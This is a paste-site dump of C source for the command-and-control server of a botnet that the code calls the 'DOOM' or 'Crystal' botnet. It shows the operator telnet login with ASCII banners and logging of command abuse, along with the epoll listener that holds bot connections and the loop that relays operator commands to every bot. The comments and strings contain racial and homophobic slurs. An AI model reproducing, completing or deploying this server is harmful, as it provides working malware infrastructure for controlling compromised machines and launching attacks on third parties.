  721. if(send(thefd, ascii_banner_line7, strlen(ascii_banner_line7), MSG_NOSIGNAL) == -1) goto end;
  722. if(send(thefd, line1, strlen(line1), MSG_NOSIGNAL) == -1) goto end;
  723. if(send(thefd, line2, strlen(line2), MSG_NOSIGNAL) == -1) goto end;
  724. managements[thefd].connected = 1;
  725. }
  726. if(strstr(buf, "clear")){
  727. if(send(thefd, "\033[2J\033[1;1H", 14, MSG_NOSIGNAL) == -1) goto end;
  728. if(send(thefd, ascii_banner_line1, strlen(ascii_banner_line1), MSG_NOSIGNAL) == -1) goto end;
  729. if(send(thefd, ascii_banner_line2, strlen(ascii_banner_line2), MSG_NOSIGNAL) == -1) goto end;
  730. if(send(thefd, ascii_banner_line3, strlen(ascii_banner_line3), MSG_NOSIGNAL) == -1) goto end;
  731. if(send(thefd, ascii_banner_line4, strlen(ascii_banner_line4), MSG_NOSIGNAL) == -1) goto end;
  732. if(send(thefd, ascii_banner_line5, strlen(ascii_banner_line5), MSG_NOSIGNAL) == -1) goto end;
  733. if(send(thefd, ascii_banner_line6, strlen(ascii_banner_line6), MSG_NOSIGNAL) == -1) goto end;
  734. if(send(thefd, ascii_banner_line7, strlen(ascii_banner_line7), MSG_NOSIGNAL) == -1) goto end;
  735. if(send(thefd, line1, strlen(line1), MSG_NOSIGNAL) == -1) goto end;
  736. if(send(thefd, line2, strlen(line2), MSG_NOSIGNAL) == -1) goto end;
  737. managements[thefd].connected = 1;
  738. }
  739.  
  740. if(strstr(buf, "CRYSTAL")){
  741.  
  742. char ascii_banner_line10 [5000];
  743. char ascii_banner_line11 [5000];
  744. char ascii_banner_line12 [5000];
  745. char ascii_banner_line13 [5000];
  746. char ascii_banner_line14 [5000];
  747. char ascii_banner_line15 [5000];
  748. char ascii_banner_line16 [5000];
  749. char crystal1 [80];
  750. char crystal2 [80];
  751.  
  752. sprintf(ascii_banner_line10, "\x1b[1;36m ██████╗██████╗ ██╗ ██╗███████╗████████╗ █████╗ ██╗ \r\n");
  753. sprintf(ascii_banner_line11, "\x1b[0;36m ██╔════╝██╔══██╗╚██╗ ██╔╝██╔════╝╚══██╔══╝██╔══██╗██║ \r\n");
  754. sprintf(ascii_banner_line12, "\x1b[0;36m ██║ ██████╔╝ ╚████╔╝ ███████╗ ██║ ███████║██║ \r\n");
  755. sprintf(ascii_banner_line13, "\x1b[0;36m ██║ ██╔══██╗ ╚██╔╝ ╚════██║ ██║ ██╔══██║██║ \r\n");
  756. sprintf(ascii_banner_line14, "\x1b[0;36m ╚██████╗██║ ██║ ██║ ███████║ ██║ ██║ ██║███████╗\r\n");
  757. sprintf(ascii_banner_line15, "\x1b[1;36m ╚═════╝╚═╝ ╚═╝ ╚═╝ ╚══════╝ ╚═╝ ╚═╝ ╚═╝╚══════╝\r\n");
  758. sprintf(ascii_banner_line16, "\x1b[0;36m\r\n");
  759. sprintf(crystal1, "\x1b[37m [+]-\x1b[35mWelcome %s To The Crystal Botnet\x1b[37m-[+]\r\n", accounts[find_line].id, buf);
  760. sprintf(crystal2, "\x1b[1;36m $ Type Help for your options $\r\n");
  761.  
  762. if(send(thefd, "\033[2J\033[1;1H", 14, MSG_NOSIGNAL) == -1) goto end;
  763. if(send(thefd, ascii_banner_line10, strlen(ascii_banner_line10), MSG_NOSIGNAL) == -1) goto end;
  764. if(send(thefd, ascii_banner_line11, strlen(ascii_banner_line11), MSG_NOSIGNAL) == -1) goto end;
  765. if(send(thefd, ascii_banner_line12, strlen(ascii_banner_line12), MSG_NOSIGNAL) == -1) goto end;
  766. if(send(thefd, ascii_banner_line13, strlen(ascii_banner_line13), MSG_NOSIGNAL) == -1) goto end;
  767. if(send(thefd, ascii_banner_line14, strlen(ascii_banner_line14), MSG_NOSIGNAL) == -1) goto end;
  768. if(send(thefd, ascii_banner_line15, strlen(ascii_banner_line15), MSG_NOSIGNAL) == -1) goto end;
  769. if(send(thefd, ascii_banner_line16, strlen(ascii_banner_line16), MSG_NOSIGNAL) == -1) goto end;
  770. if(send(thefd, crystal1, strlen(crystal1), MSG_NOSIGNAL) == -1) goto end;
  771. if(send(thefd, crystal2, strlen(crystal2), MSG_NOSIGNAL) == -1) goto end;
  772. while(1) {
  773. if(send(thefd, "\x1b[0;31m~> \x1b[0;31m", 13, MSG_NOSIGNAL) == -1) goto end;
  774. break;
  775. }
  776. pthread_create(&title, NULL, &titleWriter, sock);
  777. managements[thefd].connected = 1;
  778. continue;
  779. }
  780. if(strstr(buf, "CLEAR_RASTA")){
  781.  
  782. char RASTA1 [80];
  783. char RASTA2 [80];
  784. char RASTA3 [80];
  785. char RASTA4 [80];
  786. char RASTA5 [80];
  787. char RASTA6 [80];
  788. char RASTA7 [80];
  789. char RASTA8 [80];
  790. char RASTA9 [80];
  791.  
  792. sprintf(RASTA1, "\x1b[1;31m d8888b. .d88b. .d88b. .88b d88. \r\n");
  793. sprintf(RASTA2, "\x1b[1;31m 88 `8D .8P Y8. .8P Y8. 88'YbdP`88 \r\n");
  794. sprintf(RASTA3, "\x1b[1;33m 88 88 88 88 88 88 88 88 88 \r\n");
  795. sprintf(RASTA4, "\x1b[1;33m 88 88 88 88 88 88 88 88 88 \r\n");
  796. sprintf(RASTA5, "\x1b[1;32m 88 .8D `8b d8' `8b d8' 88 88 88 \r\n");
  797. sprintf(RASTA6, "\x1b[1;32m Y8888D' `Y88P' `Y88P' YP YP YP \r\n");
  798. sprintf(RASTA7, "\x1b[1;32m\r\n");
  799. sprintf(RASTA8, "\x1b[1;37m [+]-\x1b[1;31mWelcome %s \x1b[1;33mTo The\x1b[32m DOOM\x1b[1;37m-[+]\r\n", accounts[find_line].id, buf);
  800. sprintf(RASTA9, "\x1b[1;36m $ Type Help for your options $\r\n");
  801.  
  802. if(send(thefd, "\033[2J\033[1;1H", 14, MSG_NOSIGNAL) == -1) goto end;
  803. if(send(thefd, RASTA1, strlen(RASTA1), MSG_NOSIGNAL) == -1) goto end;
  804. if(send(thefd, RASTA2, strlen(RASTA2), MSG_NOSIGNAL) == -1) goto end;
  805. if(send(thefd, RASTA3, strlen(RASTA3), MSG_NOSIGNAL) == -1) goto end;
  806. if(send(thefd, RASTA4, strlen(RASTA4), MSG_NOSIGNAL) == -1) goto end;
  807. if(send(thefd, RASTA5, strlen(RASTA5), MSG_NOSIGNAL) == -1) goto end;
  808. if(send(thefd, RASTA6, strlen(RASTA6), MSG_NOSIGNAL) == -1) goto end;
  809. if(send(thefd, RASTA7, strlen(RASTA7), MSG_NOSIGNAL) == -1) goto end;
  810. if(send(thefd, RASTA8, strlen(RASTA8), MSG_NOSIGNAL) == -1) goto end;
  811. if(send(thefd, RASTA9, strlen(RASTA9), MSG_NOSIGNAL) == -1) goto end;
  812. while(1) {
  813. if(send(thefd, "\x1b[0;31m~> \x1b[0;31m", 13, MSG_NOSIGNAL) == -1) goto end;
  814. break;
  815. }
  816. pthread_create(&title, NULL, &titleWriter, sock);
  817. managements[thefd].connected = 1;
  818. continue;
  819. }
  820. if(strstr(buf, "CLEAR_LIT")){
  821.  
  822. char LIT1 [80];
  823. char LIT2 [80];
  824. char LIT3 [80];
  825. char LIT4 [80];
  826. char LIT5 [80];
  827. char LIT6 [80];
  828. char LIT7 [80];
  829. char LIT8 [80];
  830. char LIT9 [80];
  831.  
  832. sprintf(LIT1, "\x1b[0;36m ::::::::: :::::::: :::::::: :::: :::: \r\n");
  833. sprintf(LIT2, "\x1b[0;36m :+: :+: :+: :+: :+: :+: +:+:+: :+:+:+ \r\n");
  834. sprintf(LIT3, "\x1b[0;36m +:+ +:+ +:+ +:+ +:+ +:+ +:+ +:+:+ +:+ \r\n");
  835. sprintf(LIT4, "\x1b[0;36m +#+ +:+ +#+ +:+ +#+ +:+ +#+ +:+ +#+ \r\n");
  836. sprintf(LIT5, "\x1b[0;36m +#+ +#+ +#+ +#+ +#+ +#+ +#+ +#+ \r\n");
  837. sprintf(LIT6, "\x1b[0;36m #+# #+# #+# #+# #+# #+# #+# #+# \r\n");
  838. sprintf(LIT7, "\x1b[0;36m ######### ######## ######## ### ### \r\n");
  839. sprintf(LIT8, "\x1b[31m [+]-\x1b[0;32mWelcome %s To The DOOM\x1b[31m-[+]\r\n", accounts[find_line].id, buf);
  840. sprintf(LIT9, "\x1b[1;36m $ Type Help for your options $\r\n");
  841.  
  842. if(send(thefd, "\033[2J\033[1;1H", 14, MSG_NOSIGNAL) == -1) goto end;
  843. if(send(thefd, LIT1, strlen(LIT1), MSG_NOSIGNAL) == -1) goto end;
  844. if(send(thefd, LIT2, strlen(LIT2), MSG_NOSIGNAL) == -1) goto end;
  845. if(send(thefd, LIT3, strlen(LIT3), MSG_NOSIGNAL) == -1) goto end;
  846. if(send(thefd, LIT4, strlen(LIT4), MSG_NOSIGNAL) == -1) goto end;
  847. if(send(thefd, LIT5, strlen(LIT5), MSG_NOSIGNAL) == -1) goto end;
  848. if(send(thefd, LIT6, strlen(LIT6), MSG_NOSIGNAL) == -1) goto end;
  849. if(send(thefd, LIT7, strlen(LIT7), MSG_NOSIGNAL) == -1) goto end;
  850. if(send(thefd, LIT8, strlen(LIT8), MSG_NOSIGNAL) == -1) goto end;
  851. if(send(thefd, LIT9, strlen(LIT9), MSG_NOSIGNAL) == -1) goto end;
  852. while(1) {
  853. if(send(thefd, "\x1b[0;31m~> \x1b[0;31m", 13, MSG_NOSIGNAL) == -1) goto end;
  854. break;
  855. }
  856. pthread_create(&title, NULL, &titleWriter, sock);
  857. managements[thefd].connected = 1;
  858. continue;
  859. }
  860. if(strstr(buf, "CLEAR_SMALL")){
  861. if(send(thefd, "\033[2J\033[1;1H", 14, MSG_NOSIGNAL) == -1) goto end;
  862. char small1[80];
  863.  
  864. sprintf(small1, "\x1b[0;37m*\x1b[0;31mWelcome To The DOOM Boatnet >.< S0Sexy!\x1b[0;37m*\r\n");
  865.  
  866. if(send(thefd, "\x1b[0;37m*****************************************\r\n", 51, MSG_NOSIGNAL) == -1) goto end;
  867. if(send(thefd, small1, strlen(small1), MSG_NOSIGNAL) == -1) goto end;
  868. if(send(thefd, "\x1b[0;37m*****************************************\r\n\r\n~>\x1b[0m", 50, MSG_NOSIGNAL) == -1) goto end;
  869. while(1) {
  870. if(send(thefd, "\x1b[0;31m~> \x1b[0;31m", 13, MSG_NOSIGNAL) == -1) goto end;
  871. break;
  872. }
  873. pthread_create(&title, NULL, &titleWriter, sock);
  874. managements[thefd].connected = 1;
  875. continue;
  876. }
  877.  
  878. if(strstr(buf, "LOGOUT"))
  879. {
  880. sprintf(botnet, "DAS SUM GGOOD MARIJUANA MAAN PEACE HOMIE I SEE YA DA NEXT TIME MANN %s Cya Next Time\r\n", accounts[find_line].id, buf);
  881. if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
  882. goto end;
  883. } // No fuckin time limit nigga we fuckin shit up !!!!!! :)
  884. if(strstr(buf, "99999999999"))
  885. {
  886. printf("ATTEMPT TO SEND MORE TIME THEN NEEDED BY %s\n", accounts[find_line].id, buf);
  887. FILE *logFile;
  888. logFile = fopen("TIME.log", "a");
  889. fprintf(logFile, "ATTEMPT TO SEND MORE TIME THEN NEEDED BY %s\n", accounts[find_line].id, buf);
  890. fclose(logFile);
  891. goto end;
  892. } // max time
  893. if(strstr(buf, "99999999999"))
  894. {
  895. printf("ATTEMPT TO SEND MORE TIME THEN NEEDED BY %s\n", accounts[find_line].id, buf);
  896. FILE *logFile;
  897. logFile = fopen("TIME.log", "a");
  898. fprintf(logFile, "ATTEMPT TO SEND MORE TIME THEN NEEDED BY %s\n", accounts[find_line].id, buf);
  899. fclose(logFile);
  900. goto end;
  901. } // max time
  902. if(strstr(buf, "99999999999"))
  903. {
  904. printf("ATTEMPT TO SEND MORE TIME THEN NEEDED BY %s\n", accounts[find_line].id, buf);
  905. FILE *logFile;
  906. logFile = fopen("TIME.log", "a");
  907. fprintf(logFile, "ATTEMPT TO SEND MORE TIME THEN NEEDED BY %s\n", accounts[find_line].id, buf);
  908. fclose(logFile);
  909. goto end;
  910. } // max time
  911. if(strstr(buf, "99999999999"))
  912. {
  913. printf("ATTEMPT TO SEND MORE TIME THEN NEEDED BY %s\n", accounts[find_line].id, buf);
  914. FILE *logFile;
  915. logFile = fopen("TIME.log", "a");
  916. fprintf(logFile, "ATTEMPT TO SEND MORE TIME THEN NEEDED BY %s\n", accounts[find_line].id, buf);
  917. fclose(logFile);
  918. goto end;
  919. } // max time
  920. if(strstr(buf, "99999999999"))
  921. {
  922. printf("ATTEMPT TO SEND MORE TIME THEN NEEDED BY %s\n", accounts[find_line].id, buf);
  923. FILE *logFile;
  924. logFile = fopen("TIME.log", "a");
  925. fprintf(logFile, "ATTEMPT TO SEND MORE TIME THEN NEEDED BY %s\n", accounts[find_line].id, buf);
  926. fclose(logFile);
  927. goto end;
  928. } // max time
  929. if(strstr(buf, "99999999999"))
  930. {
  931. printf("ATTEMPT TO SEND MORE TIME THEN NEEDED BY %s\n", accounts[find_line].id, buf);
  932. FILE *logFile;
  933. logFile = fopen("TIME.log", "a");
  934. fprintf(logFile, "ATTEMPT TO SEND MORE TIME THEN NEEDED BY %s\n", accounts[find_line].id, buf);
  935. fclose(logFile);
  936. goto end;
  937. } // max time
  938. if(strstr(buf, "99999999999"))
  939. {
  940. printf("ATTEMPT TO SEND MORE TIME THEN NEEDED BY %s\n", accounts[find_line].id, buf);
  941. FILE *logFile;
  942. logFile = fopen("TIME.log", "a");
  943. fprintf(logFile, "ATTEMPT TO SEND MORE TIME THEN NEEDED BY %s\n", accounts[find_line].id, buf);
  944. fclose(logFile);
  945. goto end;
  946. } // max time
  947. if(strstr(buf, "99999999999"))
  948. {
  949. printf("ATTEMPT TO SEND MORE TIME THEN NEEDED BY %s\n", accounts[find_line].id, buf);
  950. FILE *logFile;
  951. logFile = fopen("TIME.log", "a");
  952. fprintf(logFile, "ATTEMPT TO SEND MORE TIME THEN NEEDED BY %s\n", accounts[find_line].id, buf);
  953. fclose(logFile);
  954. goto end;
  955. } // max time
  956. if(strstr(buf, "99999999999"))
  957. {
  958. printf("ATTEMPT TO SEND MORE TIME THEN NEEDED BY %s\n", accounts[find_line].id, buf);
  959. FILE *logFile;
  960. logFile = fopen("TIME.log", "a");
  961. fprintf(logFile, "ATTEMPT TO SEND MORE TIME THEN NEEDED BY %s\n", accounts[find_line].id, buf);
  962. fclose(logFile);
  963. goto end;
  964. } // max time
  965. if(strstr(buf, "99999999999"))
  966. {
  967. printf("ATTEMPT TO SEND MORE TIME THEN NEEDED BY %s\n", accounts[find_line].id, buf);
  968. FILE *logFile;
  969. logFile = fopen("TIME.log", "a");
  970. fprintf(logFile, "ATTEMPT TO SEND MORE TIME THEN NEEDED BY %s\n", accounts[find_line].id, buf);
  971. fclose(logFile);
  972. goto end;
  973. }
  974. if(strstr(buf, "99999999999"))
  975. {
  976. printf("ATTEMPT TO SEND MORE TIME THEN NEEDED BY %s\n", accounts[find_line].id, buf);
  977. FILE *logFile;
  978. logFile = fopen("TIME.log", "a");
  979. fprintf(logFile, "ATTEMPT TO SEND MORE TIME THEN NEEDED BY %s\n", accounts[find_line].id, buf);
  980. fclose(logFile);
  981. goto end;
  982. } // max time
  983. if(strstr(buf, "99999999999"))
  984. {
  985. printf("ATTEMPT TO SEND MORE TIME THEN NEEDED BY %s\n", accounts[find_line].id, buf);
  986. FILE *logFile;
  987. logFile = fopen("TIME.log", "a");
  988. fprintf(logFile, "ATTEMPT TO SEND MORE TIME THEN NEEDED BY %s\n", accounts[find_line].id, buf);
  989. fclose(logFile);
  990. goto end;
  991. } // max time
  992. if(strstr(buf, "99999999999"))
  993. {
  994. printf("ATTEMPT TO SEND MORE TIME THEN NEEDED BY %s\n", accounts[find_line].id, buf);
  995. FILE *logFile;
  996. logFile = fopen("TIME.log", "a");
  997. fprintf(logFile, "ATTEMPT TO SEND MORE TIME THEN NEEDED BY %s\n", accounts[find_line].id, buf);
  998. fclose(logFile);
  999. goto end;
  1000. } // max time
  1001. if(strstr(buf, "99999999999"))
  1002. {
  1003. printf("ATTEMPT TO SEND MORE TIME THEN NEEDED BY %s\n", accounts[find_line].id, buf);
  1004. FILE *logFile;
  1005. logFile = fopen("TIME.log", "a");
  1006. fprintf(logFile, "ATTEMPT TO SEND MORE TIME THEN NEEDED BY %s\n", accounts[find_line].id, buf);
  1007. fclose(logFile);
  1008. goto end;
  1009. } // max time
  1010. if(strstr(buf, "99999999999"))
  1011. {
  1012. printf("ATTEMPT TO SEND MORE TIME THEN NEEDED BY %s\n", accounts[find_line].id, buf);
  1013. FILE *logFile;
  1014. logFile = fopen("TIME.log", "a");
  1015. fprintf(logFile, "ATTEMPT TO SEND MORE TIME THEN NEEDED BY %s\n", accounts[find_line].id, buf);
  1016. fclose(logFile);
  1017. goto end;
  1018. }
  1019. if(strstr(buf, "LOLNOGTFO"))
  1020. {
  1021. printf("ATTEMPT TO KILL BOTS BY %s\n", accounts[find_line].id, buf);
  1022. FILE *logFile;
  1023. logFile = fopen("KILL.log", "a");
  1024. fprintf(logFile, "ATTEMPT TO KILL BOTS BY %s\n", accounts[find_line].id, buf);
  1025. fclose(logFile);
  1026. goto end;
  1027. }
  1028. if(strstr(buf, "GTFOFAG"))
  1029. {
  1030. printf("ATTEMPT TO KILL BOTS BY %s\n", accounts[find_line].id, buf);
  1031. FILE *logFile;
  1032. logFile = fopen("KILL.log", "a");
  1033. fprintf(logFile, "ATTEMPT TO KILL BOTS BY %s\n", accounts[find_line].id, buf);
  1034. fclose(logFile);
  1035. goto end;
  1036. }//if you dont like this just take out common sense
  1037. if(strstr(buf, "DUP"))
  1038. {
  1039. printf("ATTEMPT TO KILL YOUR BOTS BY %s\n", accounts[find_line].id, buf);
  1040. FILE *logFile;
  1041. logFile = fopen("BOTKILLER.log", "a");
  1042. fprintf(logFile, "ATTEMPT TO STEAL BOTS %s\n", accounts[find_line].id, buf);
  1043. fclose(logFile);
  1044. goto end;
  1045. }
  1046. if(strstr(buf, "dup"))
  1047. {
  1048. printf("ATTEMPT TO KILL YOUR BOTS BY %s\n", accounts[find_line].id, buf);
  1049. FILE *logFile;
  1050. logFile = fopen("SMALLBOTKILLER.log", "a");
  1051. fprintf(logFile, "ATTEMPT TO KILL BOTS BY %s\n", accounts[find_line].id, buf);
  1052. fclose(logFile);
  1053. goto end;
  1054. }
  1055. trim(buf);
  1056. if(send(thefd, "\x1b[37m~> \x1b[0m", 11, MSG_NOSIGNAL) == -1) goto end;
  1057. if(strlen(buf) == 0) continue;
  1058. printf("%s: \"%s\"\n",accounts[find_line].id, buf);
  1059. FILE *logFile;
  1060. logFile = fopen("report.log", "a");
  1061. fprintf(logFile, "%s: \"%s\"\n",accounts[find_line].id, buf);
  1062. fclose(logFile);
  1063. broadcast(buf, thefd, usernamez);
  1064. memset(buf, 0, 2048);
  1065. }
  1066.  
  1067. end: // cleanup dead socket
  1068. managements[thefd].connected = 0;
  1069. close(thefd);
  1070. managesConnected--;
  1071. }
  1072. void *telnetListener(int port)
  1073. {
  1074. int sockfd, newsockfd;
  1075. socklen_t clilen;
  1076. struct sockaddr_in serv_addr, cli_addr;
  1077. sockfd = socket(AF_INET, SOCK_STREAM, 0);
  1078. if (sockfd < 0) perror("ERROR opening socket");
  1079. bzero((char *) &serv_addr, sizeof(serv_addr));
  1080. serv_addr.sin_family = AF_INET;
  1081. serv_addr.sin_addr.s_addr = INADDR_ANY;
  1082. serv_addr.sin_port = htons(port);
  1083. if (bind(sockfd, (struct sockaddr *) &serv_addr, sizeof(serv_addr)) < 0) perror("ERROR on binding");
  1084. listen(sockfd,5);
  1085. clilen = sizeof(cli_addr);
  1086. while(1)
  1087. {
  1088. newsockfd = accept(sockfd, (struct sockaddr *) &cli_addr, &clilen);
  1089. if (newsockfd < 0) perror("ERROR on accept");
  1090. pthread_t thread;
  1091. pthread_create( &thread, NULL, &telnetWorker, (void *)newsockfd);
  1092. }
  1093. }
  1094.  
  1095. int main (int argc, char *argv[], void *sock)
  1096. {
  1097. signal(SIGPIPE, SIG_IGN); // ignore broken pipe errors sent from kernel
  1098. int s, threads, port;
  1099. struct epoll_event event;
  1100. if (argc != 4)
  1101. {
  1102. fprintf (stderr, "Usage: %s [port] [threads] [cnc-port]\n", argv[0]);
  1103. exit (EXIT_FAILURE);
  1104. }
  1105. port = atoi(argv[3]);
  1106. printf("\x1b[32mTHIS SHIT PRIVATE,\x1b[33m DO NOT FUCKING LEAK, \x1b[34mDOOM \x1b[35mBOTNET \x1b[36mSCREENED\x1b[0m\n");
  1107. telFD = fopen("bots.txt", "a+");
  1108. threads = atoi(argv[2]);
  1109. listenFD = create_and_bind (argv[1]); // try to create a listening socket, die if we can't
  1110. if (listenFD == -1) abort ();
  1111. s = make_socket_non_blocking (listenFD); // try to make it nonblocking, die if we can't
  1112. if (s == -1) abort ();
  1113. s = listen (listenFD, SOMAXCONN); // listen with a huuuuge backlog, die if we can't
  1114. if (s == -1)
  1115. {
  1116. perror ("listen");
  1117. abort ();
  1118. }
  1119. epollFD = epoll_create1 (0); // make an epoll listener, die if we can't
  1120. if (epollFD == -1)
  1121. {
  1122. perror ("epoll_create");
  1123. abort ();
  1124. }
  1125. event.data.fd = listenFD;
  1126. event.events = EPOLLIN | EPOLLET;
  1127. s = epoll_ctl (epollFD, EPOLL_CTL_ADD, listenFD, &event);
  1128. if (s == -1)
  1129. {
  1130. perror ("epoll_ctl");
  1131. abort ();
  1132. }
  1133. pthread_t thread[threads + 2];
  1134. while(threads--)
  1135. {
  1136. pthread_create( &thread[threads + 2], NULL, &epollEventLoop, (void *) NULL); // make a thread to command each bot individually
  1137. }
  1138. pthread_create(&thread[0], NULL, &telnetListener, port);
  1139. while(1)
  1140. {
  1141. broadcast("PING", -1, "PURGE");
  1142. sleep(60);
  1143. }
  1144. close (listenFD);
  1145. return EXIT_SUCCESS;
  1146. }
Advertisement
Add Comment
Please, Sign In to add comment